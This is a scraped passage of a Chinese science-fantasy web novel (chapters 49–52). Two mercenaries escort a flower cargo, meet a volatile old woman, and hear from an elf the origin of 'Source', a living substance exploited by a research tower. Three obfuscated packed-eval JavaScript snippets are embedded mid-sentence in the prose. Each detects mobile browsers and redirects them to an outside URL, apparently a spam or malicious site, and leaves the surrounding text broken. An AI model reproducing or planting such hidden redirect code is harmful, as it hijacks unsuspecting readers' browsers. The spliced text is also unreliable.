伊冯抬头想了想,说:“我小时候,很羡慕别的小孩能去星际旅行。我不被允许单独出门,大多数时间,我只能待在地下室里。后来我就自己跑出来了,第一次出星时,我还哭了。现在我想去哪就能去哪,慢慢也不为在星际穿行这件事兴奋。我很多次为某事激动雀跃,没多久又习以为常,但总有新的让我亢奋的事物出现。我现在比所有曾经羡慕过的孩子走得都远,我对过去的自己未来要经历的一切只有期待和喜悦。” 刘念转回身,看着她。 伊冯说:“所有情绪都会成为过往的佐料,往前走,身边自然会有同路人。她不是个踏步不前的人,她会习惯。” 只是同路人总会随着路程变换,这也是必须习惯的事。 刘念听出她的未尽之意,又是一声叹息。最令人忮忌的,便是她的这份“无情”。 49.未来 她们这次分配到的是个护送任务,委托方是隶属于布朗家的花商,任务内容是从贝丽修玛系的泽华星,将委托方的货物——两吨鲜花,护送至阿纳托利系的旄经星。 委托方是追龙的老客户,她们轻车熟路地在港口和对方交接,对照货单核对货物后,即刻出发。 大部分人仍回追龙的飞船上护航,为了在各种状况下可以灵活应对,另分出几人登上货船,也方便委托方的人随时与她们沟通联络。 伊冯和刘念都被派到货船上,她们负责巡逻,检查保护货物的装置是否正常,并确认委托方随行的人员状态。这些工作没有难度,但重复枯燥,所以优先落在了新人头上。 伊冯走在货舱内,看着拥挤在保鲜箱内的花枝,它们还紧闭着花苞沉睡,等待在另一个星系苏醒绽放。 贝丽修玛系物产丰富,盛产各类宝石、鲜花、颜料,产量占全星盟的六成,出口贸易十分发达;绚丽的产物同时造就了绮丽的风景,旅游业也是该系的热点产业。 之前做独行佣兵时,伊冯也为任务去过贝丽修玛,只可惜因为不在花期,没亲眼见到闻名星盟的将整颗星球绣以花色的壮观景象。 她将负责的区域检查完毕,却发现前方还有一个货舱。透过观察窗,能看到里面也堆放着花卉,但保险箱没有罩盖,这么放着,到目的地会损毁大半。 任务单上没有这个货舱,也没有那些货。核对的人会犯这么低级的错误吗? 伊冯发讯给队员报告异常,握住腰上的刀,打开舱门。为了不暴露,她过外勤考核没有用定影,只使普通的枪支刀棍,出任务前去追龙的基地领了全套的单兵武器。为了避免损伤货物,她们被叮嘱非必要不使用热武器。 她慢慢走入这个未登记的货舱,因为没有阻隔,舱内的空气都沾染了花香。 耳畔突然一声轻响,不等她找到声源,满舱的花苞突然就开了,花瓣顺畅地在她眼前层层展开,整齐划一得仿佛排练许久的演出。 是红玫瑰,浓艳的鲜红骤然铺在眼前,伊冯不由微眯双眼,适应舱内被花色晕染的光线。 她见深处花色更浓,屏息凝神望去,那里不知何时坐了人,一身华丽繁复的红裙将自己填入花丛之中。 再仔细看,是位坐着轮椅的老人,鸡皮鹤发,姿态衰萎,看起来不具备任何威胁。 伊冯没松开刀,见那老人只垂目望着身边的花,便开口问她:“请问您是谁?这里是货舱,需要我带您去休息室吗?” 老人轻笑,抬眸望向她,深蓝的瞳色清明,不见半分老态。这样明亮的一双眼,就像年轻人套上了老者的面具,将热烈的灵魂拘束在皮囊之下。 伊冯觉得她熟悉,问:“我见过您吗?” 老人说:“这是我第一次见你。或许你见过我,只是我不知道。和我一起去见你母亲吧,让她介绍我们认识,好吗?” 又是她那神秘生母的旧识? 伊冯问:“您知道她在哪?” “当然,”老人脸上浮起奇怪的笑,“她在不可知之地,只有钥匙能带领我们前往的不可知之地。” “不可知之地”,伊冯眉头一跳,这是她第一次从以诺之外的人口中听到这话,正要追问,老人朝她抬起手。 明明还隔着一段距离,伊冯却背后发寒,她想起内网那个用奇特手段控制自己的女人,立刻启动定影,用雷霆填满她们之间的距离。 伊冯全力驱动着定影打出落雷并向舱外移动,突然发觉身后有人,顾不上确认敌友只一并打过去。 刘念躲闪不及,用手挡下伊冯打来的雷,赶紧出声:“是我,刘念!” 伊冯抓着刘念退到前一个货舱里才停下输出,看着慢慢消退的雷幕后,老人还安坐在原地,就连舱内的花也没有分毫损伤。 老人坐在轮椅里慈祥地笑,半点没将伊冯激烈的反抗动作放在心上。 刘念的语气听起来有些意外:“云姨?” 老人听到她的称呼,才将专注在伊冯身上的目光分给她,面露几分不喜道:“你看起来像是某个讨厌鬼的亲戚,怎么,叫得这么亲切?” 刘念说:“我们也在找您,母亲说她一直惦念您,却不知您的的生死平安,难以安眠。” 老人垂眸,声音微哑:“我想起你是谁了。是你啊,那个未生已死的孩子。她还能担心别人呢,所以,我最讨厌她。她永远都是我们中最惹人厌的那个。” 刘念问:“您不想见她吗?” 老人沉默着。 “不好意思,”伊冯开口道,“在你们继续打哑谜之前,能先帮我做个人物介绍吗?” 刘念点头,掌心向上指向老人,说:“这位是你母亲的挚友……” “哈哈哈哈哈……”刘念的介绍被老人的笑声打断,她捂着脸低垂着脑袋,声嘶力竭地笑着。 她笑着,在笑声中近乎嘶吼着说:“她都教了你什么?我是叛徒!是可耻的背叛者!为什么要装作什么都没发生,你们应该恨我!” 她再度抬起头,因情绪激动而血脉偾张,用暴起血丝的眼睛直视着伊冯:“你如果知道我怎么伤害过你母亲,一定恨不得把我千刀万剐,你该杀了我,你做得到!过来!杀了我!” 伊冯一时不知该如何反应,刘念也为老人突然的发狂惊愣,后方的舱门打开。 “利比逖,刘念,这里有什么问题吗?” 伊冯正想找理由搪塞来查看情况的领队,前方货舱内的景象骤然变化,领队走到她们身边时,那里面除了一室枯花别无其它。 领队往那个货舱内望了眼,说:“我和管事确认过,这里面的是没清理掉的废品,不用理会。核对的之前也问过,觉得都是枯花,不在我们职责范围,就没记上。” 伊冯整理好思绪,回复她:“废品可以不在意,但这么大的货舱足够藏很多东西,我们不可能不巡逻。” 领队点头赞同,表示会就这点批评工作不到位的,让她们别聚在这了,继续巡逻。 领队离开后,伊冯也准备换个地方问刘念些事,却见刘念还在盯着之前老人所在的位置出神。 伊冯把刘念叫回神,问她怎么了。 刘念缓缓地说:“我不记得她在这会失控……是因为我说错了话吗?” 墨盒内墨水少了一截。 就算不看墨盒,伊冯也听出了刘念这话里的信息很重要。 刘念见过她们和那位老人在这里见面的未来;已被预见的未来是能被改变的。 伊冯还有另一个问题要问她:“‘不可知之地’究竟是什么?” 刘念看着伊冯手腕上挂着的墨盒,说:“剩下的墨,不够我向你说明了。” 领队发消息催她们快点继续巡逻,刘念先走一步,并说:“完成这轮巡逻后,我们找个没人的地方。有件事,我想知道你的想法。” 伊冯点头,希望刘念这么郑重地说要谈的事,对得起她的期待。 货舱的巡逻二十分钟一趟,确认过货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722147|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 船各处正常、人员也无异常后,伊冯她们可以休息一会儿。 货船上有个船员自用的小厨房,伊冯去那要了两杯花茶,和刘念坐在一个视野开阔的舷窗前,既可观景,也能留意有人靠近,免得被听到不该听的。 半杯茶喝下,刘念终于酝酿好如何开口。 刘念说:“我看到过很多,我见到你的出生,见到我们从小一起长大,一起生活了很久,非常久。” 是关于她“看见未来”的事啊。伊冯看着墨盒,“不可知之地”的信息比“预见未来”更被限制传达? 伊冯问:“现实并非如此,你看到的真的是未来?” 刘念说:“是‘可能性’。我看到很多,有我们自幼相识,也有你离家出走后,为了躲避搜寻人员,躲进行李间遇到藏匿在那的我;还有你成为佣兵后的第一个任务,我可能也接下了那个护送宝石的任务遇到你……” 伊冯皱眉:“我的第一个任务确实是护送卡洛琳的宝石。” 刘念说:“所有的未来,所有的‘可能性’,我都见过。太多的信息,让我的记忆混乱,分不清过去和未来,混淆了经历的‘现实’和预见的‘可能’,有时甚至会忘了自己在哪里……所以,我需要你作为我的锚点。” 伊冯说:“这就是你接近我、向我示好的原因——为什么是我?” “世界注视着你,你经历的,就是真实的;我可以通过确认你的经历,把我混乱的记忆整理排序。而且……”刘念语速更慢地补充说,“被世界注视的你的周围,也会被世界留意,在你附近时,我也会被世界注意,受到更多限制,无法看到太多。” 伊冯听明白她的意思,有些意外:“你不想看到未来?” 刘念说:“这很累,我从中得到的只有困扰。” 随着刘念的这些话,墨水只剩五分之一。 伊冯沉思片刻,问:“你就是想知道我对这件事的想法?” 刘念也问她:“如果是你,你会怎么做?” 伊冯说:“不知道,毕竟我和你的烦恼正相反,我知道得太少了,只能想方法知道更多。” 伊冯把喝空的茶杯放到一边,站起来。 刘念也跟着站起来,看着伊冯卸下身下的刀枪,撸起袖子。 刘念看出伊冯这架势是要打架,虽然迷惑,还是把二人的茶杯放得更远些,配合着摆出招架的姿势。 伊冯转动着手腕说:“为了确认现实,你跟踪偷窥我的时间不短吧?” “我……”刘念无言以对。 如今她们的身体状况都不错,伊冯毫不手软地挥出一拳。 昏暗的花房内,老人伏在轮椅上剧烈喘息着,水珠滴落在潮湿的土壤,不知是汗是泪。 “怎么弄得这么狼狈?”高大的影子穿过花房不宽敞的走道,扫过花叶发出窸窸窣窣的声音。 黑影发出温和的浑厚女声,她绕着老人坐着的轮椅一圈,不明亮的光线中她金黄的眼瞳也熠熠生辉。 如果伊冯在这里,就会认出这黑影便是她初次穿越遇见的黑豹。 巴沙说:“和我说说吧,你在为什么难过。” 老人呜咽出声:“我没控制住,我把那两个孩子吓坏了,我本想给她留下个好印象,全都搞砸了,我又做错了……” 巴沙用尾巴缠住她,低头轻轻蹭她的头顶,给她拥抱,说:“没关系的,下次你可以带份更好的礼物去见她。不要着急,老师给了我们很多时间,一切都会来得及。” 50.起源 之前交谈已经用了不少时间,因而两人还没过上两招又到了巡逻时间。 伊冯把武器装好,刘念把杯子带去厨房,就此分开行动。 然后,除了吃饭睡觉,每次休息二人都会回到那个舷窗前,继续中断的肉搏。 这么连着几天,别人自然发现了她们的动静。 做外勤的一大好处,就是队友间动手不会被轻易判为“私斗”,很多人都会觉得任务无聊而互相切磋消磨时间。因而伊冯和刘念就算打得激烈,领队也只是和别的队员站在不会被波及的地方看热闹,评点她们的招数。 还有起哄的: “刘念,怎么光格挡啊,再不反击可被利比逖堵到墙角打了!” “利比逖,来点狠招啊打趴他呀!” “就是,多给点力气啊,还怕把刘念打破相吗?” 伊冯把刘念踹远了些,看向起哄的那些说:“我力气够不够,要不要亲自试试?” 那些围观的本就看得手痒,她这么说了,哪有不应的。 刘念默默让开,结果伊冯没几下就把迎战的掀翻了,她又被揪回去接着打。 “我去,她不是技术部招进来的吗,怎么肉搏这么猛?” 被打回来的捂着被摔疼的地方不可置信,切磋讲究点到为止,默认倒地为输,这些个去挑战伊冯的都被几秒解决,有的甚至都回忆不起自己是怎么被放倒的。 领队笑:“你们以为柯查尔为什么那么宝贝她呢?旁观都没看出门道,还想和人打?利比逖可是总部都来人要她,说不好还能和我们一起行动几次,抓紧机会多学学吧。” 众队员闻言只能敬畏地看着那缠斗的二人。自己去对招了才明白这俩人打得有多凶,这还能有来有往这么久?这俩新人都是吃什么长大的? “行了,你们也差不多得了,节省点体力。”领队拍拍手招呼俩人,“再过一个中转站就到阿纳托利了,想打等送完货再继续。” 刘念避开伊冯撞来的肘击向后跳开,伊冯也不向前追击。 虽然一个赛一个的傲,但能听命令的就是好下属。领队满意地散开众人各归各位,继续工作。 伊冯打饿了,去货舱的路上又去厨房拿了两包压缩饼干。 作为面对面交手的对手,伊冯的感受更直观。刘念和自己的对打有面对飞船操作台时一样的毛病,熟悉理论,知道如何破解自己的招式,但是很不熟练。 伊冯旁观过刘念和别人对战的情况,都是走速战速决的路子,或许是因为被她被拖长时间后应对的方式变得单调。 这次交手,伊冯探明了刘念的体术不如她,而且从刘念试图反击的动作中,她发现刘念有一些条件反射的不知作用的多余动作,也就是说刘念有别的更擅长的战斗方式,只是没用出来。刘念和她交手的过程中显然也打出了兴致,如果不是自知有后招能应对她,刘念不会享受。 看来得找个不会被人旁观地方,让刘念使出真本事和她再打一场。因为遇到的对手大多情况下都经不住定影几道雷,她想改进定影的战斗功能都拿不准方向。之前刘念在货舱被她打中,却看不出半点不适,应该会很适合给她实验定影的对战功能。 船队进入阿纳托利系内后,继续驶向最近的中转站,再经历一次空间跳跃便能直达目的地旄经星。 旄经星是所属于阿吉斯的星球,这船从布朗的泽华到阿吉斯的旄经的鲜花,是阿吉斯与布朗已建立良好关系的直观证明。 但这些和现在的伊冯没有关系,货物送到,她们的任务便完成了,在执行下一个任务前,她们有两天的自由活动休息时间。 伊冯和刘念当即出发前往杜林星。 杜林离旄经不远,只要进行一次空间跳跃便可到达。 杜林是罗贝尔的所属星球,而罗贝尔与佣兵的关系实在算不上友好。为免节外生枝,二人换下了追龙的衣服,低调地简单遮挡面容后,离开港口。 杜林上的建筑格鲜明地分为两种,复古与现代。据说杜林上曾满是罗贝尔的古宅,却在一场波及半个星球的大火中化为乌有。如今罗贝尔自家的人少有在这活动的,那场大火似乎成了家族记忆中共同的伤痕,不可触碰。 这颗被所有者忽略的星球经济发展极为缓慢,依靠过去完善的设施,尚能从交通、贸易中分一杯羹。也有不少存款紧张的人,为了便宜拥有房产而到杜林买地购房,让杜林的人口不至于只出不进。 出了港口,向右走是重建过的现代繁华都市,向左走是缺乏维护的旧城区。 刘念带着伊冯熟练地左转钻入小巷,走过许多街道,周围的建筑慢慢越来越低矮破旧。 她们进入了一片管理混乱的居民区,行人车辆横冲直撞,两个步履匆匆的过路人并未引起注意。 伊冯跟着刘念在堆积着垃圾的楼间小道穿行着,一路被带进了栋看起来被废弃的破败老屋。 这屋子甚至没有门,内部杂草丛生杂物堆叠,满是蛛网厚尘,要进去也不知如何下脚。 刘念往倒塌的碎砖堆上爬了半道,扭头见到伊冯表情不好地站在门边没动,后知后觉地问:“需要我先清理干净吗?” “……算了,不用。”伊冯跟上她,催她继续带路。 爬上废物堆翻过屋子中央,看到的是更多的废物和杂草。 刘念跳到一堆杂草上,伸手在长到腰际的植物上扫过,地面突然生出更多绿意,她的脚下瞬间有了一片柔软的绿毯,零星小花点缀其间。 接着,嫩草织成的厚毯蠕动,地面出现一个洞口,花草编织的台阶向下延伸。 二人从台阶下去,头顶响起密集的植物生长声音,伊冯回望,进来的洞口被植物覆满。 台阶两边也是青嫩的绿苔,两条漂浮的光带照亮前方,越往下,绿意更盛,鲜花锦簇。 就像误入了植物园展区,不同产地不同时节的花,随着她们的步伐同时盛放在身旁。 终于走到尽头,枝蔓如幕帘垂下遮挡了前方景象。 刘念退了半步,示意伊冯先走。 伊冯没问,抬手拨开绿幕,一团光涌向她又散为光点,光点流动着指引伊冯的视线向前,见到其间如天神降临的美丽精灵。 暖春中的阳光编织出她的长发,盛满了月光的清潭浇注成她的躯体,仲夏所有树冠上的绿意都凝结在她眼中;她站在点缀着碎花的木棺中,满室的植物正是从那生出;她散发着暖光,脑后隐约有一层光环,浮动的光点围绕着她;上方垂下数层绿纱般的奇特绿植,轻柔地摆动着,为眼前的一切拢上梦幻的薄雾。 伊冯静静观赏着眼前的景象,被她注视的对象只是用温和的笑望着她。 “……你不是有问题要问她?”刘念突然出声。 伊冯于是不客气地问了:“这是精灵真实的长相吗?你很像人类。” 除了尖耳朵,别的地方都和人类没有差别。 精灵回答说:“人类没法像这样发光哦。” 伊冯说:“用荧光剂就可以。如果事先设置好投影装置,谁都能让自己看起来在发光。” 精灵捂住嘴笑弯了眼,说:“我怕吓到你呀,我现在这样不好看吗?” 伊冯点头:“很好看。” 精灵得意地朝刘念笑:“你看,我就说她会喜欢。” 刘念偏开头,没理她。 “但是,你是按人类塑造的精灵形象变形吗?太符合传说中精灵的形象,”伊冯说,“反而有点无聊。” 精灵不为这可称为冒犯的话不快,只是笑意越盛,她说:“你还未与你的母亲相处过,喜好却和她如此相像。我本以为那只是她的偏好——难道这也是你们族群的共性?” 伊冯一愣:“你是说,我的母亲不是精灵?但是刘念说你是我母亲的妹妹?” “关于你的母亲是什么,我不知道,她也为了这个问题的答案前往了不可知之地——还是让我从头说起吧。” 精灵做了个抬手的动作,伊冯二人脚边植物疯长,缠绕成两团高至大腿中部、足以舒服躺下的厚垫。 伊冯伸手按压厚垫,手感不错。她坐下,说如果要讲很久,是否还该准备些茶点。 精灵手指轻点,伊冯手边生出株挂满果实的翠嫩植物,植株有几分像铃兰,果实则形如柿子,色如青提透亮。 伊冯摘下一颗果子,试着咬了口:软嫩多汁,像是果冻,有点浅淡的甜味,香味宜人提神。 她啃着手里的果子,又摘下一颗丢向还没动弹的刘念。对方面无表情地接住果子,伊冯催她快坐下一起听故事。 等二人坐下,精灵清亮的声音飘荡在空气中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732695|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将听者带入叙述的过往中。 一切开始于三百年前。 为了解决日益严重的能源匮乏问题,人们将希望寄托于茫茫宇宙,各方共同组建探索队深入星海。 那时人类尚未掌握空间跳跃技术,宇宙航行代表着漫长的艰苦,数年的搜寻总是收获甚微。 直到某次远航,探索队航线上出现了未被探测到的黑洞,发觉时她们已经离得太近,无法逃离黑洞的引力被吸入——唯有一艘小型飞船极幸运地被黑洞吐出。 事后,幸存者们回忆道:“我们就像是钻入了世界的缝隙,在那里,我们看到了宇宙的眼睛。我们应该没有离开飞船,但是,是谁将它摘下带回飞船内的呢?除了那荡魂摄魄的蓝色以外,我们什么都想不起来。” 从黑洞内带出的神秘蓝色物质被米勒家的研究室买下,按部就班地开始对新物质的研究。 那是一块拳头大的近球状物体,散发着以蓝为主色调的彩光;球体周围有冰冷的气体围绕流动,若无防护接触很快会冻伤,在太空条件下那些气体甚至威力更大,隔着防护服也难以靠近,那些幸存者究竟是如何将它从黑洞中带出的?最后研究员们只能归结于,该物质在黑洞中时,受黑洞影响达到了某种平衡,因而不会释放对人有害的能量。 它的硬度不高,很容易被切下样本观察,在预设其作为能源使用的测试中,每个实验组都取得了不错的结果,唯一不足是总体太小,若要作为能源投入使用,需要稳定的来源。 米勒家再牵头派探索队去发现它的黑洞附近,寻找有没有更多的同类物质。出发的队伍按之前航队所行航线再走一趟,沿途却再未见黑洞存在过的痕迹。也有人怀疑是否之前的船队偏航误入未知区域,才会撞上黑洞,但返航的唯一一艘飞船上所有的设备都严重受损,能回来都是奇迹,根本无法存下航行记录与那个黑洞所在的坐标。 在探索队有新发现前,研究室内只能吝啬地取样,实验反应过的也小心保存重复利用,以免消耗太快。 接着,研究员们有了新发现。被切下实验的部分在一段时间后肉眼可见地增加了质量,不同实验组保存的样本居然出现了不同的特性。 仔细研究后,研究员们发现该物质具备极强的模仿能力,可以完美复制接触到的物质,并且可以汲取外部能量令自身成长——这是种极具活性的可再生物质。 每个新发现都令研究员们兴奋,若这是种可以培育再生的能源,即使探索队没有发现更多,这块已拥有的物质也将成为新能源的种子,缓解能源危机。 她们将这块物质命名为“源”。起初,这是个寄托了许多美好理想的名字。 实验出常见基本元素就能让“源”成长后,它被研究员放入装满特制高浓度溶液的实验罐中,她们想看看这可以让它长多少。 结果超出所有人预料,次日,进入实验室的研究员们,在实验罐中看到一个少年——与某位研究员放在桌上的女儿照片样貌、穿着完全一致。 罐中少年向她们举起右手摆动,牵动唇角微笑,就像每天早上她们互相打招呼那样。 最令研究员们震撼的,并非“源”变成人形——见识到源的强模仿能力后,这早在研究员们的预想中——而是仅靠照片,“源”变化出了完整立体的身体和衣物,这说明它的变形不是一对一的单纯模仿,而是会结合多项信息整合出更“合理”的变化结果。 “源”具有思考能力,在这次变形中表现出的逻辑思维,已经可以等同于甚至超越六岁人类幼童的智慧程度。 变成人形后,“源”的反应对于研究员们更加直观。它的面部五官是变化出的拟态,不会直接表达喜恶,但会以简单的靠近、躲避告诉研究员们它对某物的态度。 这时的它已经能使用变化出的人类四肢活动,听懂研究员用语言表达的意思,甚至识别实验室内常出现的文字。 接着,源一天比一天表现出更强大的学习模仿能力,它开始像人类那样从喉咙发出声音、用口舌构建话语,直接以语言同研究员们沟通,交流实验中的种种。 “如果这样发展下去,或许会是一个发现高智慧新生命物种的故事。”精灵的语调听不出喜悲,“但她那时初次接触人类,不知道那些亲切地教她知识的‘好人’,也是会变成恶魔的。” 51.时间轴 源与研究员们建立沟通后,对研究员们有求必应,毫无保留地展示自己能做到的事。于是研究员们发现了祂的能量可以影响空间,甚至能借此窥探到别的时空;祂散发的能量对生物有催化作用,农作物、家禽都可极大地缩短育成时间,且具备应有的营养;祂没有痛感,被切割下的身体部分也会生出独立意识,再度学习、成长并具备本体的一切特性…… 研究室借由祂研发出空间跳跃等等诸多划时代的技术,米勒家也随之强盛,一度凌驾于所有家族甚至政府之上。 米勒家的成果令各家眼馋,互相勾结施压要求共享,最后以研究仍由米勒家独家控制为条件,各家靠投资取得了收益分红权。 得到大量投资的米勒家扩大了研究室规模,建立了如今的元星研究塔。 耸立的高塔内,围绕神秘的“源”,研究塔就此开始了“开源计划”。 “为了研究”,人们不断向祂索要,反正祂可以不断生长出新的,反正祂不知疲惫不懂疼痛。 终于,祂厌倦了终日只是在研究室内配合研究,祂拒绝继续并要求离开。 祂以为沟通就可以解决问题,但在之前的研究中,研究员们已经发现祂被切下的部分离开本体一段距离会重新生长——并且不会继承本体的记忆。 于是祂被分成了没有记忆的无数块,失去反抗的能力,也失去了要反抗的意志。 后来一切便失去了控制,研究彻底走向了疯狂。 研究塔已经通过祂知道了打开通往别的世界通道的方式,也能够对那些世界实施监视,于是开始将那些世界作为试验场,进行各种不方便在原世界开展的实验。 “比如超级病毒,将人转化为能源?”伊冯接话问道。 精灵点头,说:“科学研究的道德边界本就模糊,将实验过程放置到与自己的世界无关的地方,更是让那些人轻易突破了底线,以研究之名肆意践踏生命。” 在研究塔的诸多实验项目中,有一项是对人体的改造实验,实验目的是突破人体基因限制,找到成为“超级人类”的方法。 初期,研究塔暗中另立名目,招揽因贫困而容易操纵的实验对象,当这项技术初具雏形后,投资了研究塔的各家希望能率先获得进化乃至长生,最好将这项技术惠及对象垄断在各家内部。 各家族既不想让外人捞了好处,也不想亲身冒险——最终,各家内部挑选出一些不受重视的孩子,把这包装为给家族作出贡献的机会。 “这就是我们与你母亲相遇的前因。”精灵说,“我曾姓罗贝尔。” 精灵说完特意停了一会儿,让伊冯消化信息。 伊冯啃完手里的果子,说:“你从人类变成了‘精灵’,这就是她们想得到的东西?” “改变生命的存在形式,对她不是难事。她们的贪婪不止于此。”精灵说,“你的母亲无所不能,她们的欲望也随之高涨。” 伊冯问:“这就是刘念说她是‘后天’的原因?因为你曾是人类?” 精灵看向刘念,她低着头盯着伊冯丢过去的那颗果子,仿佛对这场故事会没有兴趣。 精灵说:“这件事还是让她自己解释吧——或者你亲自去看。” 她伸出手,手臂变为碧绿,五指如藤蔓抽长变形又拧为一股,伸到伊冯面前,末端绽出花苞,花蕊中躺着一个金黄的柱状物体,柱身布满可活动的码块,刻着类似刘念墨盒上的那种黑色图纹。 这又是什么直接运行世界规则的仪器? 精灵说:“这是刘念的‘时间轴’,本是她用来记录整理事件的。我修改了一些功能,它能让你去到特定的时空。具体用法,刘念会告诉你。” 伊冯拿起这个金灿灿的东西,码块上的刻纹规律,可以解读为数字。刘念这会儿终于抬头,把视线黏在“时间轴”上。 伊冯说:“说起来,还不知道你的名字。我叫伊冯。” “你可以叫我‘琉’,琉璃的琉。”她笑,“是‘玳瑁凝春色,琉璃漾水波’,和刘念的不一样,别记混了。” 伊冯点头,其实完全没听懂那一句是什么东西,只听懂她的名字和刘念的“刘”同音不同字。 她又问:“我的母亲就是那个‘源’?她应该有别的名字?” 琉说:“她不认哪个名字,也不否认某个名字。如何称呼她,不是她要考虑的问题。我们只用个人喜欢的方式叫她。你也可以在见到她后,自己想个顺口的叫法。” 伊冯把“时间轴”收进口袋,从一旁再摘了颗果子:“你们是在研究塔里遇见的?” 琉摇头,说:“不,我们的初遇是在别的世界。” 研究塔的“开源计划”在某个阶段停滞不前,再如何切割“源”,每个碎块都表现出了抗拒,缺乏应有的反应,无法为研究提供新的助力。 研究塔发现,“源”似乎成长出了新的特性,即使被分割开,祂也能在一定距离内共鸣共享信息,那曾遗忘的反抗似乎再度苏醒,或许祂从未失去记忆,只是等待被唤醒。 意识到这些后,研究员们商议出一个好办法——将源的碎片放入别的世界不就好了?相隔着一个世界,无论如何也无法互相影响了。 她们决定让祂在新世界重新和人接触成长,再度展现那不知防备的天真,毫无保留地展示祂能做到的一切,再为她们所用。 “这也成为我们进入那些世界的主要任务:接触她,取得她的信任,榨取她的利用价值。” 琉说到这,带着几分嘲讽道:“我的幸运在于,成为小白鼠之前我就对罗贝尔厌恶至极,对于‘给家族作出贡献获得认可’的狗屁毫不在意,被丢进某个异世界后,我什么也没做,只是跟她们发出的指令唱反调。” 伊冯反问道:“幸运?” “有很多倒霉孩子信了那套鬼话。”琉提醒她,“你来的路上不是遇见了一个?” 伊冯想起老人那几乎要泣血的悲恸:“她说的‘背叛’和‘伤害’,指的是这个?” 琉叹息着说:“大多被丢到异世界的孩子当时不过十来岁,又被提前告知那只是披着人皮的怪物,为了得到家人的爱,没几个孩子能避免犯错。只是我没想到,云到现在都没放下。” 全程都没说过话的刘念这时才接话道:“之前我们都以为她是相对没有问题的一个。” “毕竟一个小疯子已经够让人头疼了。”琉说着,似乎觉得有趣而向刘念挑眉,“在小疯子之前,云确实是我们中最偏执的,小疯子总是闹出太大的动静,让我都快忘了云也是个疯的。” 刘念说:“……您几位有哪个不疯?” “哈哈哈哈哈哈!”琉用很不符合精灵刻板印象的姿势大笑着,忽然又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737527|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一拍手收起笑,看着伊冯说,“我就和你说这么多,还有想知道的自己去看吧,我不想让我的观点影响你。” 伊冯点头,她也不想只听转述的故事。但她还有一个问题,或许只有琉能给她答案。 伊冯问:“为什么母亲把我留在这?” 琉早有预料地回答她:“你听了研究塔对你母亲曾做的那些事,应该能发觉,你们能够相互影响。即使你不是用切割这种简单粗暴的方式离开母体,是作为后代被孕育降生,但距离太近,你仍会被同化,成为她的又一个分身。所以她将你留在这里,把你托付给可信赖的人抚养长大,等你有了自己的意志、不再受母体影响,再由你自己决定是否去见她。” 精灵走出木棺到伊冯面前,轻抚她的面庞,说:“你要先成为你,再做她的女儿。” 她转头对沉默的刘念说:“这话也是对你说的,别装不在意。” 刘念垂眸轻轻应了一声。 琉又对伊冯说:“研究塔的事,是上一辈的恩怨,血债已经血偿,你们不用在意。无论你选择什么,都尽管去做吧。刘念会支持你的——她还满心迷茫,因为看到太多,反而踟蹰不前。现在的她,正需要一个替她做决定的人,拜托你带她闯闯。” 伊冯看向刘念,不反驳吗? 刘念只是微低着头,藏起眼睛里的情绪。 琉退回木棺里,周身的光芒忽然更亮,模糊了面容,声音也更加虚幻:“哦对了,还有一件事——你不是钥匙,你是她的孩子,能解开她的锁是天经地义的。让云别钻牛角尖了,快点拿到钥匙过来。” 不给任何回应的机会,说完这些,她便融入刺目的光中,光团散成无数光点消失无痕。满室的绿意褪去,失去装点后,这里只是间老旧昏暗的地下室。 刘念打开照明棒增加可见度,坐垫成了两堆枯草,挂满果实的植株也干瘪垂落在地。伊冯走到那缠满枯萎花枝的木棺前,里面空无一物。 伊冯问刘念:“她去哪了?” 刘念的回答如她所料:“不可知之地。” 伊冯问:“‘不可知之地’究竟是哪里?” “你母亲、你们的来处——但是我们无法理解,即使她用了各种方法向我们解释,我们依然无法解读有关那里的任何信息,那是超出我们认知和接受能力的信息,所以我们称那为‘不可知之地’。”刘念的声音很低,“不可知,无处寻,或许穷极一生也无法到达。” 进入这个地下室后,伊冯发现墨盒又满了墨,而在刘念回答她这个问题后,墨水并未减少。是因为这个空间有什么特殊之处吗? 伊冯放下墨盒,问刘念:“你心情不好?因为你母亲离开了?” 刘念说:“这次,是我第二次见她。” 伊冯皱眉回想着与琉见面的过程,虽然刘念确实很安静,但她平时也不活跃,母女间的互动也很熟稔,她以为她们很亲密。 伊冯说:“你们的交流,不像是你说的那样生疏。” 刘念似笑非笑地说:“因为我们都知道那些或许会发生又或许从不存在的‘可能性’。那些‘可能’让我和她有了共同的错觉,分明是初次见面,却能假装彼此相知多年,亲密无间。” 她闭了闭眼,迅速整理好了情绪,对伊冯说:“试试‘时间轴’吧,你想去看哪个世界的哪段时间?” 52.过去时 伊冯把墨盒抬高,问刘念:“为什么墨水突然满了?” 